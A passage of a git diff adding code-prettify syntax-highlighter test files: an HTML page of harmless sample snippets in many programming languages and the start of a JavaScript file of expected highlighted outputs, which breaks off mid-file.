+    if n <= 0: return x
+
+print nth(fib(), 10)
+
+ +

Python w/ language specified

+
+#!/usr/bin/python2.4
+
+def fib():
+  '''
+  a generator that produces the fibonacci series's elements
+  '''
+
+  a = 1
+  b = 1
+  while True:
+    a, b = a + b, a
+    yield a
+
+def nth(series, n):
+  '''
+  returns the nth element of a series,
+  consuming the series' earlier elements.
+  '''
+
+  for x in series:
+    n -= 1
+    if n <= 0: return x
+
+print nth(fib(), 10)
+
+/* not a comment and not keywords: null char true */
+
+ +

SQL

+
+/* A multi-line
+ * comment */
+'Another string /* Isn\'t a comment',
+"A string */"
+-- A line comment
+SELECT * FROM users WHERE id IN (1, 2.0, +30e-1);
+-- keywords are case-insensitive.
+-- Note: user-table is a single identifier, not a pair of keywords
+select * from user-table where id in (x, y, z);
+
+ +

XML

+
+<!DOCTYPE series PUBLIC "fibonacci numbers">
+
+<series.root base="1" step="s(n-2) + s(n-1)">
+  <element i="0">1</element>
+  <element i="1">1</element>
+  <element i="2">2</element>
+  <element i="3">3</element>
+  <element i="4">5</element>
+  <element i="5">8</element>
+  ...
+</series.root>
+
+ +

HTML

+
+<html>
+  <head>
+    <title>Fibonacci number</title>
+    <style><!-- BODY { text-decoration: blink } --></style>
+    <script src="foo.js"></script>
+    <script src="bar.js"></script>
+  </head>
+  <body>
+    <noscript>
+      <dl>
+        <dt>Fibonacci numbers</dt>
+        <dd>1</dd>
+        <dd>1</dd>
+        <dd>2</dd>
+        <dd>3</dd>
+        <dd>5</dd>
+        <dd>8</dd>
+        &hellip;
+      </dl>
+    </noscript>
+
+    <script type="text/javascript"><!--
+function fib(n) {
+  var a = 1, b = 1;
+  var tmp;
+  while (--n >= 0) {
+    tmp = a;
+    a += b;
+    b = tmp;
+  }
+  return a;
+}
+
+document.writeln(fib(10));
+// -->
+    </script>
+  </body>
+</html>
+
+ +

HTML w/ language specified

+
+Fibonacci Numbers
+
+<noscript>
+  <dl style="list-style: disc">
+    <dt>Fibonacci numbers</dt>
+    <dd>1</dd>
+    <dd>1</dd>
+    <dd>2</dd>
+    <dd>3</dd>
+    <dd>5</dd>
+    <dd>8</dd>
+    &hellip;
+  </dl>
+</noscript>
+
+<script type="text/javascript"><!--
+function fib(n) {
+  var a = 1, b = 1;
+  var tmp;
+  while (--n >= 0) {
+    tmp = a;
+    a += b;
+    b = tmp;
+  }
+  return a;
+}
+
+document.writeln(fib(10));
+// -->
+</script>
+
+ +

HTML using <XMP>

+<html> + <head> + <title>Fibonacci number</title> + </head> + <body> + <noscript> + <dl> + <dt>Fibonacci numbers</dt> + <dd>1</dd> + <dd>1</dd> + <dd>2</dd> + <dd>3</dd> + <dd>5</dd> + <dd>8</dd> + &hellip; + </dl> + </noscript> + + <script type="text/javascript"><!-- +function fib(n) { + var a = 1, b = 1; + var tmp; + while (--n >= 0) { + tmp = a; + a += b; + b = tmp; + } + return a; +} + +document.writeln(fib(10)); +// --> + </script> + </body> +</html> + + +

XHTML

+
<xhtml>
+  <head>
+    <title>Fibonacci number</title>
+  </head>
+  <body onload="alert(fib(10))">
+    <script type="text/javascript"><![CDATA[
+function fib(n) {
+  var a = 1, b = 1;
+  var tmp;
+  while (--n >= 0) {
+    tmp = a;
+    a += b;
+    b = tmp;
+  }
+  return a;
+}
+]]>
+    </script>
+  </body>
+</xhtml>
+
+ +

PHP

+
+<html>
+  <head>
+    <title><?= 'Fibonacci numbers' ?></title>
+
+    <?php
+      // PHP has a plethora of comment types
+      /* What is a
+         "plethora"? */
+      function fib($n) {
+        # I don't know.
+        $a = 1;
+        $b = 1;
+        while (--$n >= 0) {
+          echo "$a\n";
+          $tmp = $a;
+          $a += $b;
+          $b = $tmp;
+        }
+      }
+    ?>
+  </head>
+  <body>
+    <?= fib(10) ?>
+  </body>
+</html>
+
+ +

XSL

+

Issue #19

+
+<!-- Test elements and attributes with namespaces -->
+
+<xsl:stylesheet xml:lang="en">
+  <xsl:template match=".">
+    <xsl:text>Hello World</xsl:text>
+  </xsl:template>
+</xsl:stylesheet>
+
+ +

Whitespace

+

+
+

Misc

+
// ends with line comment token
+//
+ +

JavaScript inside HTML <SCRIPT>

+

+Issue #4: +JavaScript Snippets wrapped in HTML SCRIPT tags hides/destroys inner content +

+

The fact that the script tag was not closed properly was causing +PR_splitSourceNodes to end without emitting the script contents.

+
+<script type="text/javascript">
+   var savedTarget=null;                           // The target layer (effectively vidPane)
+   var orgCursor=null;                             // The original mouse style so we can restore it
+   var dragOK=false;                               // True if we're allowed to move the element under mouse
+   var dragXoffset=0;                              // How much we've moved the element on the horozontal
+   var dragYoffset=0;                              // How much we've moved the element on the verticle
+   vidPaneID = document.getElementById('vidPane'); // Our movable layer
+   vidPaneID.style.top='75px';                     // Starting location horozontal
+   vidPaneID.style.left='75px';                    // Starting location verticle
+<script>
+
+ +

Tabs mangled

+

Issue #8: +If tabs are used to indent code inside <pre>, IE6 and 7 won't honor them +after the script runs.

+

Code indented with tabs will be shown aligned to the left margin instead of +the proper indenting shown in Firefox.

+

I'm using Revision 20 of prettify.js, IE 6.0.29.00 in English and IE +7.0.5730.11 in Spanish.

+
+one	Two	three	Four	five	|
+Six	seven	Eight	nine	Ten	|
+eleven	Twelve	thirteen	Fourteen	fifteen	|
+
+ +

Does not recognize <br> as newline

+

Issue #14

+
//comment
int main(int argc, char **argv) +{}
+ +

Comments not ignored

+

Issue #14

+
<!-- There's an HTML comment in my comment -->
+<p>And another one inside the end tag</p>
+
+ +

Missing blank lines

+

Issue #20

+
<html>
+
+<head>
+ +

Code doesn't copy and paste well in IE

+

Issue #21: +To test this bug, disable overriding of _pr_isIE6 in test_base.js +by putting #testcopypaste on the end of the URL and reloading the +page, then copy and paste the above into Notepad.

+
<html>
+  <head>
+    <title>Test</title>
+  </head>
+</html>
+ +

Line numbers and other non-code spans in code

+

Issue #22

+
01: // This is a line of code
+02: /* Multiline comments can
+03:  * span over and around
+04:  * line markers
+And can even be interrupted
+by inline code annotations
+05:  */
+06: class MyClass extends Foo {
+07:   public static void main(String... argv) {
+08:     System.out.print("Hello World");
+09:   }
+10: }
+ +

Lua

+

Issue #24

+
+os=require("os")
+math=require("math")
+
+-- Examples from the language reference
+     a = 'alo\n123"'
+     a = "alo\n123\""
+     a = '\97lo\10\04923"'
+     a = [[alo
+     123"]]
+     a = [==[
+     alo
+     123"]==]
+
+3   3.0   3.1416   314.16e-2   0.31416E1   0xff   0x56
+
+-- Some comments that demonstrate long brackets
+double_quoted = "Not a long bracket [=["
+--[=[ quoting out
+ [[ foo ]]
+ [==[does not end comment either]==]
+]=]
+past_end_of_comment
+--]=]
+
+-- Example code courtesy Joseph Harmbruster
+#
+do
+  local function ssgeneral(t, n, before)
+    for _, h in ipairs(incs) do
+      for i = h + 1, n do
+        local v = t[i]
+        for j = i - h, 1, -h do
+          local testval = t[j]
+          if not before(v, testval) then break end
+          t[i] = testval; i = j
+        end
+        t[i] = v
+      end 
+    end
+    return t
+  end
+
+  function shellsort(t, before, n)
+    n = n or #t
+    if not before or before == "<" then return ssup(t, n)
+    elseif before == ">" then return ssdown(t, n)
+    else return ssgeneral(t, n, before)
+    end
+  end
+  return shellsort
+end
+ +

VBScript

+

Issue #27

+
+Imports System
+
+Class [class]
+    Shared Sub [shared](ByVal [boolean] As Boolean)
+        If [boolean] Then
+            Console.WriteLine("true")
+        Else
+            Console.WriteLine("false")
+        End If
+    End Sub
+End Class
+
+' Comment
+‘ Second Line comment with a smart quote _
+  continued line using VB6 syntax.
+Module [module]
+    Sub Main()
+        [class].[shared](True)
+
+        ' This prints out: ".
+        Console.WriteLine("""")
+
+        ' This prints out: a"b.
+        Console.WriteLine("a""b")
+
+        ' This prints out: a.
+        Console.WriteLine("a"c)
+
+        ' This prints out: ".
+        Console.WriteLine(""""c)
+
+        REM an old-style comment
+        REMOVE(not_a_comment)
+    End Sub
+End Module
+
+Dim d As Date
+d = # 8/23/1970 3:45:39AM #
+d = # 8/23/1970 #
+d = # 3:45:39AM #
+d = # 3:45:39 #
+d = # 13:45:39 #
+d = # 13:45:39PM #
+
+Dim n As Float
+n = (0.0, .99F, 1.0E-2D, 1.0E+3D, .5E4, 1E3R, 4D)
+
+Dim i As Integer
+i = (0, 123, 45L, &HA0I, &O177S)
+
+ +

Haskell

+

Issue #30

+
+-- A comment
+Not(--"a comment")
+Also.not(--(A.comment))
+
+module Foo(bar) where
+import Blah
+import BlahBlah(blah)
+import Monads(Exception(..), FIO(..),unFIO,handle,runFIO,fixFIO,fio,
+              write,writeln,HasNext(..),HasOutput(..))
+
+{- nested comments
+ - don't work {-yet-} -}
+instance Thingy Foo where
+  a = b
+
+data Foo :: (* -> * -> *) -> * > * -> * where
+  Nil :: Foo a b c
+  Cons :: a b c -> Foo abc -> Foo a b c
+
+str = "Foo\\Bar"
+char = 'x'
+Not.A.Char = 'too long'  -- Don't barf.  Show that 't is a lexical error.
+
+(ident, ident', Fo''o.b'ar)
+
+(0, 12, 0x45, 0xA7, 0o177, 0O377, 0.1, 1.0, 1e3, 0.5E-3, 1.0E+45)
+
+ +

OCaml and F#

+

Issue #33

+

TODO: handle nested (* (* comments *) *) properly.

+
+(*
+ * Print the 10th fibonacci number
+ *)
+
+//// A line comment
+"A string";;
+(0, 125, 0xa0, -1.0, 1e6, 1.2e-3);;  // number literals
+
+#if fibby
+  let
+    rec fib = function (0, a, _) -> a
+                     | (n, a, b) -> fib(n - 1, a + b, a)
+  in
+    print_int(fib(10, 1, 1));;
+#endif
+
+let zed = 'z'
+
+let f' x' = x' + 1
+
+ +

Lisp

+

Issue #42

+
; -*- mode: lisp -*-
+
+(defun back-six-lines () (interactive) (forward-line -6))
+(defun forward-six-lines () (interactive) (forward-line 6))
+
+(global-set-key "\M-l" 'goto-line)
+(global-set-key "\C-z" 'advertised-undo)
+(global-set-key [C-insert] 'clipboard-kill-ring-save)
+(global-set-key [S-insert] 'clipboard-yank)
+(global-set-key [C-up] 'back-six-lines)
+(global-set-key [C-down] 'forward-six-lines)
+
+(setq visible-bell t)
+(setq user-mail-address "foo@bar.com")
+(setq default-major-mode 'text-mode)
+
+(setenv "TERM" "emacs")
+(c-set-offset 'case-label 2)
+(setq c-basic-offset 2)
+(setq perl-indent-level 0x2)
+(setq delete-key-deletes-forward t)
+(setq indent-tabs-mode nil)
+
+;; Text mode
+(add-hook 'text-mode-hook 
+  '(lambda ()
+     (turn-on-auto-fill)
+   )
+)
+
+;; Fundamental mode
+(add-hook 'fundamental-mode-hook 
+  '(lambda ()
+     (turn-on-auto-fill)
+   )
+)
+
+;; Define and cond are keywords in scheme
+(define (sqt x) (sqrt-iter 1.0 2.0 x))
+
+ +

Square brackets in strings

+

Issue #45

+
+throw new RuntimeException("Element [" + element.getName() + 
+  "] missing attribute.");
+variable++;
+
+ +

Protocol Buffers

+
message SearchRequest {
+  required string query = 1;
+  optional int32 page_number = 2;
+  optional int32 result_per_page = 3 [default = 10];
+  enum Corpus {
+    UNIVERSAL = 0;
+    WEB = 1;
+    IMAGES = 2;
+    LOCAL = 3;
+    NEWS = 4;
+    PRODUCTS = 5;
+    VIDEO = 6;
+  }
+  optional Corpus corpus = 4 [default = UNIVERSAL];
+}
+ +

Wiki Syntax

+
+#summary hello world
+#labels HelloWorld WikiWord Hiya
+
+[http://www.google.com/?q=WikiSyntax+site:code.google.com WikiSyntax]
+
+Lorem Ipsum `while (1) print("blah blah");`
+
+   * Bullet
+   * Points
+      * NestedBullet
+
+==DroningOnAndOn==
+{{{
+  // Some EmbeddedSourceCode
+  void main() {
+    Print('hello world');
+  }
+}}}
+
+{{{
+  <!-- Embedded XML -->
+  <foo bar="baz"><boo /><foo>
+}}}
+
+ +

CSS w/ language specified

+
+<!--
+@charset('UTF-8');
+
+/** A url that is not quoted. */
+@import(url(/more-styles.css));
+
+HTML { content-before: 'hello\20'; content-after: 'w\6f rld';
+       -moz-spiff: inherit !important }
+
+/* Test units on numbers. */
+BODY { margin-bottom: 4px; margin-left: 3in; margin-bottom: 0; margin-top: 5% }
+
+/** Test number literals and quoted values. */
+TABLE.foo TR.bar A#visited { color: #001123; font-family: "monospace" }
+/** bolder is not a name, so should be plain.  !IMPORTANT is a keyword
+  * regardless of case.
+  */
+blink { text-decoration: BLINK !IMPORTANT; font-weight: bolder }
+/* Empty url() was causing infinite recursion */
+a { background-image: url(); }
+p#featured{background:#fea}
+-->
+
+ +

CSS inside HTML <STYLE>

+

Issue #79

+
+<style type='text/css'>
+/* desert scheme ported from vim to google prettify */
+code.prettyprint { display: block; padding: 2px; border: 1px solid #888;
+background-color: #333; }
+.str { color: #ffa0a0; } /* string  - pink */
+.kwd { color: #f0e68c; font-weight: bold; }
+.com { color: #87ceeb; } /* comment - skyblue */
+.typ { color: #98fb98; } /* type    - lightgreen */
+.lit { color: #cd5c5c; } /* literal - darkred */
+.pun { color: #fff; }    /* punctuation */
+.pln { color: #fff; }    /* plaintext */
+.tag { color: #f0e68c; font-weight: bold; } /* html/xml tag    - lightyellow*/
+.atn { color: #bdb76b; font-weight: bold; } /* attribute name  - khaki*/
+.atv { color: #ffa0a0; } /* attribute value - pink */
+.dec { color: #98fb98; } /* decimal         - lightgreen */
+</style>
+
+ +

NBSPs

+

Issue #84

+
super("&nbsp;");
+ +

Line breaks and preformatted style

+

Issue #86

+

CODE tag

+

#One +Two words

+

CODE tag with preformatted style

+

#One +Two lines

+

PRE tag

+
#One
+Two lines
+

PRE+CODE tag

+
#One
+Two lines
+

XMP tag

+#One +Two lines +

CODE tag with BR line break

+

#One
+Two lines

+ +

Capital letters in tag names

+

Issue #92

+
+<?xml version="1.0" encoding="UTF-8"?>
+<kml xmlns="http://www.opengis.net/kml/2.2">
+  <Placemark>
+    <name>Simple placemark</name>
+    <description Lang="en">Attached to the ground. Intelligently places itself 
+       at the height of the underlying terrain.</description>
+    <Point>
+      <coordinates>-122.0822035425683,37.42228990140251,0</coordinates>
+    </Point>
+  </Placemark>
+</kml>
+
+ +

C# verbatim strings

+

Issue #93

+
+// The normal string syntax
+string a = "C:\\";
+// is equivalent to a verbatim string
+string b = @"C:\";
+
+ +

VHDL

+
+library ieee;
+use ieee.std_logic_1164.all;
+use ieee.numeric_std.all;
+
+-- A line comment
+entity foo_entity is
+
+  generic (-- comment after punc
+    a : natural := 42;
+    x : real := 16#ab.cd#-3
+  );
+  port (
+    clk_i : in  std_logic;
+    b_i   : in  natural range 0 to 100;
+    c_o   : out std_logic_vector(5 downto 0);
+    \a "name"\ : out integer  -- extended identifier
+  );
+
+end entity foo_entity;
+
+architecture foo_architecture of foo_entity is
+  signal bar_s : std_logic_vector(2 downto 0);
+begin
+  
+  bar_s <= b"101";
+
+  dummy_p : process (clk_i)
+  begin
+    if b_i = 1 then
+      c_o <= (others => '0');
+    elsif rising_edge(clk_i) then
+      c_o <= "1011" & bar_s(1 downto 0);
+    end if;
+  end process dummy_p;
+
+end architecture foo_architecture;
+
+ +

YAML

+
+application: mirah-lang
+version: 1
+
+# Here's a comment
+handlers:
+  - url: /red/*
+     servlet: mysite.server.TeamServlet
+     init_params:
+       teamColor: red
+       bgColor: "#CC0000"
+     name: redteam
+  - url: /blue/*
+     servlet: mysite.server.TeamServlet
+     init_params:
+       teamColor: blue
+       bgColor: "#0000CC"
+     name: blueteam
+  - url: /register/*
+     jsp: /register/start.jsp
+  - url: *.special
+     filter: mysite.server.LogFilterImpl
+     init_params:
+       logType: special
+  
+ +

YAML

+
+%YAML 1.1
+---
+!!map {
+  ? !!str ""
+  : !!str "value",
+  ? !!str "explicit key"
+  : !!str "value",
+  ? !!str "simple key"
+  : !!str "value",
+  ? !!seq [
+    !!str "collection",
+    !!str "simple",
+    !!str "key"
+  ]
+  : !!str "value"
+}
+ +

Scala

+
+/* comment 1 */
+/*
+comment 2
+*/
+/* comment / * comment 3 **/
+// strings
+"Hello, World!", "\n",
+`an-identifier`, `\n`,
+'A', '\n',
+'aSymbol,
+"""Hello,
+World""", """Hello,\nWorld""",
+"""Hello, "World"!""",
+"""Hello, \"World\""""
+
+// Numbers
+0
+0123
+0xa0
+0XA0L
+123
+123.45
+1.50F
+0.50
+.50
+123e-1
+123.45e+1
+1.50e2
+0.50e-6
+.50e+42f
+
+// Values
+false, true, null, this;
+
+// Keywords
+class MyClass;
+import foo.bar;
+package baz;
+
+// From scala-lang.org/node/242
+def act() {
+  var pongCount = 0
+  loop {
+    react {
+      case Ping =>
+        if (pongCount % 1000 == 0)
+          Console.println("Pong: ping "+pongCount)
+        sender ! Pong
+        pongCount = pongCount + 1
+      case Stop =>
+        Console.println("Pong: stop")
+        exit()
+    }
+  }
+}
+
+ +

Go

+
+package main  /* Package of which this program is part. */
+
+import fmt "fmt"  // Package implementing formatted I/O.
+
+
+func main() {
+    fmt.Printf("Hello, world; or Καλημέρα κόσμε; or こんにちは 世界\n")  // Semicolon inserted here
+}
+
+/* " */  "foo /* "  /*/  */
+/* ` */  `foo /* `  /*/  */
+
+ +

Erlang

+
+% Sample comment
+
+-module(my_test).
+-include_lib("my_sample_lib.hrl").
+-export([
+    test/2
+]).
+
+%% @doc Define a macro
+-define(my_macro, Variable).
+
+%% @doc My function
+test(Variables, MoreVariables) ->
+    % Inline comment
+    {ok,Scanned,_} = my_lib:do_stuff(),
+
+    Variable = fun(V) -> {ok, V} end,
+
+    try ?my_macro({value, test}) of
+        {value, Result, _} ->
+            {ok, Result}
+    catch
+        Type:Error ->
+            {'error', Type, Error}
+    end.
+
+ +

Rust

+
+// Single line comment
+/* Multi-line (nesting not highlighted properly, sorry)
+comment */
+
+#![feature(code_prettification)]
+
+use std::io::{self, Write};
+
+impl<'a, T: 'a + ?Sized> Foo<'a, 'static> for Bar<'b>
+where T: Iterator<Item = Box<Fn() -> u32>> {
+    fn something(&mut self) -> u32 {
+        if let Some(ref x) = self.foo("multi li\ne
+s\tring") {
+            panic!(r"\things is going wrong!");
+            panic!(r#"Things is "really" goig\n wront!"#);
+            panic!(r##"Raw strings are #"#fancy#"#"##);
+        }
+    }
+}
+
+pub type CowString<'a> = std::cow::Cow<'a, str>;
+
+fn main() {
+    let (i, r) = (1u8, 'c');
+    let s = r#"Take a raw egg,
+        "break" it (or the line),
+        and beat it"#;
+}
+
+ + + diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/prettify_test.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/prettify_test.js new file mode 100644 index 000000000..9d40aa7bb --- /dev/null +++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/tests/prettify_test.js @@ -0,0 +1,1782 @@ +/** + * maps ids of rewritten code to the expected output. + * For brevity, has been changed to `FOO + * and < /span> has been changed to `END. + */ +var goldens = { + bash: ( + '`COM#!/bin/bash`END`PLN\n' + + '\n' + + '`END`COM# Fibonacci numbers`END`PLN\n' + + '`END`COM# Writes an infinite series to stdout, one entry per line`END' + + '`PLN\n' + + '`END`KWDfunction`END`PLN fib`END`PUN()`END`PLN `END`PUN{`END`PLN\n' + + ' `END`KWDlocal`END`PLN a`END`PUN=`END`LIT1`END`PLN\n' + + ' `END`KWDlocal`END`PLN b`END`PUN=`END`LIT1`END`PLN\n' + + ' `END`KWDwhile`END`PLN `END`KWDtrue`END`PLN `END`PUN;`END' + + '`PLN `END`KWDdo`END`PLN\n' + + ' echo $a\n' + + ' `END`KWDlocal`END`PLN tmp`END`PUN=`END`PLN$a\n' + + ' a`END`PUN=`END`PLN$`END`PUN((`END`PLN $a `END`PUN+`END' + + '`PLN $b `END`PUN))`END`PLN\n' + + ' b`END`PUN=`END`PLN$tmp\n' + + ' `END`KWDdone`END`PLN\n' + + '`END`PUN}`END`PLN\n' + + '\n' + + '`END`COM# output the 10th element of the series and halt`END`PLN\n' + + 'fib `END`PUN|`END`PLN head `END`PUN-`END`LIT10`END`PLN `END`PUN|`END' + + '`PLN tail `END`PUN-`END`LIT1`END' + ), + bash_lang: ( + '
    `#`COM#!/bin/bash`END' + + '`#1`PLN `END' + + '`#2`COM# Fibonacci numbers`END' + + '`#3`COM# Writes an infinite series to stdout, one entry per line`END' + + '`#4`KWDfunction`END`PLN fib`END`PUN()`END`PLN `END`PUN{`END' + + '`#5`PLN `END`KWDlocal`END`PLN a`END`PUN=`END`LIT1`END' + + '`#6`PLN `END`KWDlocal`END`PLN b`END`PUN=`END`LIT1`END' + + '`#7`PLN `END`KWDwhile`END`PLN true `END`PUN;`END' + + '`PLN `END`KWDdo`END' + + '`#8`PLN echo $a`END' + + '`#9`PLN `END`KWDlocal`END`PLN tmp`END`PUN=`END`PLN$a`END' + + '`#0`PLN a`END`PUN=`END`PLN$`END`PUN((`END`PLN $a `END`PUN+`END' + + '`PLN $b `END`PUN))`END' + + '`#1`PLN b`END`PUN=`END`PLN$tmp`END' + + '`#2`PLN `END`KWDdone`END' + + '`#3`PUN}`END' + + '`#4`PLN `END' + + '`#5`COM# output the 10th element of the series and halt`END' + + '`#6`PLNfib `END`PUN|`END`PLN `END`PUN/`END`PLNusr`END`PUN/`END`PLNbin`END' + + '`PUN/*`END`PLNhead `END`PUN-`END`LIT10`END`PLN `END`PUN|`END' + + '`PLN tail `END`PUN-`END`LIT1`END
' + ), + issue_165: ( + '`COM# Comment`END`PLN\n' + + '`END`KWDlocal`END`PLN $x `END`PUN=`END`PLN $`END`PUN{#`END`PLNx`END`PUN[@]}`END`PLN `END' + + '`COM# Previous is not a comment`END`PLN\n' + + '`END`COM# A comment`END' + ), + c: ( + '`COM#include`END`PLN `END`STR<stdio.h>`END`PLN\n' + + '\n' + + '`END`COM/* the n-th fibonacci number.\n' + + ' *\/`END`PLN\n' + + '`END`KWDunsigned`END`PLN `END`KWDint`END`PLN fib`END`PUN(`END' + + '`KWDunsigned`END`PLN `END`KWDint`END`PLN n`END`PUN)`END`PLN `END' + + '`PUN{`END`PLN\n' + + ' `END`KWDunsigned`END`PLN `END`KWDint`END`PLN a `END`PUN=`END' + + '`PLN `END`LIT1`END`PUN,`END`PLN b `END`PUN=`END`PLN `END`LIT1`END' + + '`PUN;`END`PLN\n' + + ' `END`KWDunsigned`END`PLN `END`KWDint`END`PLN tmp`END`PUN;`END' + + '`PLN\n' + + ' `END`KWDwhile`END`PLN `END`PUN(--`END`PLNn `END`PUN>=`END' + + '`PLN `END`LIT0`END`PUN)`END`PLN `END`PUN{`END`PLN\n' + + ' tmp `END`PUN=`END`PLN a`END`PUN;`END`PLN\n' + + ' a `END`PUN+=`END`PLN b`END`PUN;`END`PLN\n' + + ' b `END`PUN=`END`PLN tmp`END`PUN;`END`PLN\n' + + ' `END`PUN}`END`PLN\n' + + ' `END`KWDreturn`END`PLN a`END`PUN;`END`PLN\n' + + '`END`PUN}`END`PLN\n' + + '\n' + + 'main`END`PUN()`END`PLN `END`PUN{`END`PLN\n' + + ' printf`END`PUN(`END`STR"%u"`END`PUN,`END`PLN fib`END`PUN(`END' + + '`LIT10`END`PUN));`END`PLN\n' + + '`END`PUN}`END' + ), + c_lang: ( + '`COM#include`END`PLN `END`STR<stdio.h>`END`PLN\n' + + '\n' + + '`END`COM/* the n`END`COMth`END<\/sup>`COM fibonacci number. *\/`END`PLN\n' + + '`END`TYPuint32`END`PLN fib`END`PUN(`END' + + '`KWDunsigned`END`PLN `END`TYPint`END`PLN n`END`PUN)`END`PLN `END' + + '`PUN{`END`PLN\n' + + ' `END`TYPuint32`END`PLN a `END`PUN=`END`PLN `END`LIT1`END`PUN,`END' + + '`PLN b `END`PUN=`END`PLN `END`LIT1`END`PUN;`END`PLN\n' + + ' `END`TYPuint32`END`PLN tmp`END`PUN;`END`PLN\n' + + ' `END`KWDwhile`END`PLN `END`PUN(--`END`PLNn `END`PUN>=`END' + + '`PLN `END`LIT0`END`PUN)`END`PLN `END`PUN{`END`PLN\n' + + ' tmp `END`PUN=`END`PLN a`END`PUN;`END`PLN\n' + + ' a `END`PUN+=`END`PLN b`END`PUN;`END`PLN\n' + + ' b `END`PUN=`END`PLN tmp`END`PUN;`END`PLN\n' + + ' `END`PUN}`END`PLN\n' + + ' `END`KWDreturn`END`PLN a`END`PUN;`END`PLN\n' + + '`END`PUN}`END`PLN\n' + + '\n' + + '`END`KWDvoid`END`PLN main`END`PUN()`END`PLN `END`PUN{`END`PLN\n' + + ' `END`TYPsize_t`END`PLN size `END`PUN=`END`PLN `END`KWDsizeof`END' + + '`PUN(`END`TYPwchar_t`END`PUN);`END`PLN\n' + + ' ASSERT_EQ`END`PUN(`END`PLNsize`END`PUN,`END`PLN `END`LIT1`END' + + '`PUN);`END`PLN\n' + + ' printf`END`PUN(`END`STR"%u"`END`PUN,`END`PLN fib`END`PUN(`END' + + '`LIT10`END`PUN));`END`PLN\n' + + '`END`PUN}`END`PLN\n' + + '\n' + + '`END`COM#define`END`PLN ZERO `END`LIT0`END`PLN `END`COM/* a\n' + + ' multiline comment *\/`END' + ), + cpp: ( + '`COM#include`END`PLN `END`STR<iostream>`END`PLN\n' + + '\n' + + '`END`KWDusing`END`PLN `END`KWDnamespace`END`PLN std`END`PUN;`END' + + '`PLN\n' + + '\n' + + '`END`COM//! fibonacci numbers with gratuitous use of templates.`END' + + '`PLN\n' + + '`END`COM//! \\param n an index into the fibonacci series`END`PLN\n' + + '`END`COM//! \\param fib0 element 0 of the series`END`PLN\n' + + '`END`COM//! \\return the nth element of the fibonacci series`END' + + '`PLN\n' + + '`END`KWDtemplate`END`PLN `END`PUN<`END`KWDclass`END`PLN T`END' + + '`PUN>`END`PLN\n' + + 'T fib`END`PUN(`END`KWDunsigned`END`PLN `END`KWDint`END`PLN n`END' + + '`PUN,`END`PLN `END`KWDconst`END`PLN T`END`PUN&`END`PLN fib0' + + '`END`PUN)`END`PLN `END`PUN{`END`PLN\n' + + ' T a`END`PUN(`END`PLNfib0`END`PUN),`END`PLN b`END`PUN(`END' + + '`PLNfib0`END`PUN);`END`PLN\n' + + ' `END`KWDfor`END`PLN `END`PUN(;`END`PLN n`END`PUN;`END' + + '`PLN `END`PUN--`END`PLNn`END`PUN)`END`PLN `END`PUN{`END`PLN\n' + + ' T tmp`END`PUN(`END`PLNa`END`PUN);`END`PLN\n' + + ' a `END`PUN+=`END`PLN b`END`PUN;`END`PLN\n' + + ' b `END`PUN=`END`PLN tmp`END`PUN;`END`PLN\n' + + ' `END`PUN}`END`PLN\n' + + ' `END`KWDreturn`END`PLN a`END`PUN;`END`PLN\n' + + '`END`PUN}`END`PLN\n' + + '\n' + + '`END`KWDint`END`PLN main`END`PUN(`END`KWDint`END`PLN argc`END' + + '`PUN,`END`PLN `END`KWDchar`END`PLN `END`PUN**`END`PLNargv`END' + + '`PUN)`END`PLN `END`PUN{`END`PLN\n' + + ' cout `END`PUN<<`END`PLN fib`END`PUN(`END`LIT10`END' + + '`PUN,`END`PLN `END`LIT1U`END`PUN);`END`PLN\n' + + '`END`PUN}`END' + ), + cpp_lang: ( + '`COM#include`END`PLN `END`STR<iostream>`END`PLN\n' + + '\n' + + '`END`KWDusing`END`PLN `END`KWDnamespace`END`PLN std`END`PUN;`END' + + '`PLN\n' + + '\n' + + '`END`COM//! fibonacci numbers with gratuitous use of templates.`END' + + '`PLN\n' + + '`END`COM//! \\param n an index into the fibonacci series`END`PLN\n' + + '`END`COM//! \\param fib0 element 0 of the series`END`PLN\n' + + '`END`COM//! \\return the nth element of the fibonacci series`END' + + '`PLN\n' + + '`END`KWDtemplate`END`PLN `END`PUN<`END`KWDclass`END`PLN T`END' + + '`PUN>`END`PLN\n' + + 'T fib`END`PUN(`END`TYPint`END`PLN n`END' + + '`PUN,`END`PLN `END`KWDconst`END`PLN T`END`PUN&`END`PLN fib0' + + '`END`PUN)`END`PLN `END`PUN{`END`PLN\n' + + ' T a`END`PUN(`END`PLNfib0`END`PUN),`END`PLN b`END`PUN(`END' + + '`PLNfib0`END`PUN);`END`PLN\n' + + ' `END`KWDwhile`END`PLN `END`PUN(--`END`PLNn `END`PUN>=`END' + + '`PLN `END`LIT0`END`PUN)`END`PLN `END`PUN{`END`PLN\n' + + ' T tmp`END`PUN(`END`PLNa`END`PUN);`END`PLN\n' + + ' a `END`PUN+=`END`PLN b`END`PUN;`END`PLN\n' + + ' b `END`PUN=`END`PLN tmp`END`PUN;`END`PLN\n' + + ' `END`PUN}`END`PLN\n' + + ' `END`KWDreturn`END`PLN a`END`PUN;`END`PLN\n' + + '`END`PUN}`END`PLN\n' + + '\n' + + '`END`TYPint`END`PLN main`END`PUN(`END`TYPint`END`PLN argc`END' + + '`PUN,`END`PLN `END`KWDchar`END`PLN `END`PUN**`END`PLNargv`END' + + '`PUN)`END`PLN `END`PUN{`END`PLN\n' + + ' cout `END`PUN<<`END`PLN fib`END`PUN(`END`LIT10`END' + + '`PUN,`END`PLN `END`LIT1U`END`PUN);`END`PLN\n' + + '`END`PUN}`END' + ), + java: ( + '`KWDpackage`END`PLN foo`END`PUN;`END`PLN\n' + + '\n' + + '`END`KWDimport`END`PLN java`END`PUN.`END`PLNutil`END`PUN.`END' + + '`TYPIterator`END`PUN;`END`PLN\n' + + '\n' + + '`END`COM/**\n' + + ' * the fibonacci series implemented as an Iterable.\n' + + ' *\/`END`PLN\n' + + '`END`KWDpublic`END`PLN `END`KWDfinal`END`PLN `END`KWDclass`END' + + '`PLN `END`TYPFibonacci`END`PLN `END`KWDimplements`END`PLN `END' + + '`TYPIterable`END`PUN<`END`TYPInteger`END`PUN>`END`PLN `END`' + + 'PUN{`END`PLN\n' + + ' `END' + + '`COM/** the next and previous members of the series. *\/`END' + + '`PLN\n' + + ' `END`KWDprivate`END`PLN `END`KWDint`END`PLN a `END`PUN=`END' + + '`PLN `END`LIT1`END`PUN,`END`PLN b `END`PUN=`END`PLN `END`LIT1`END' + + '`PUN;`END`PLN\n' + + 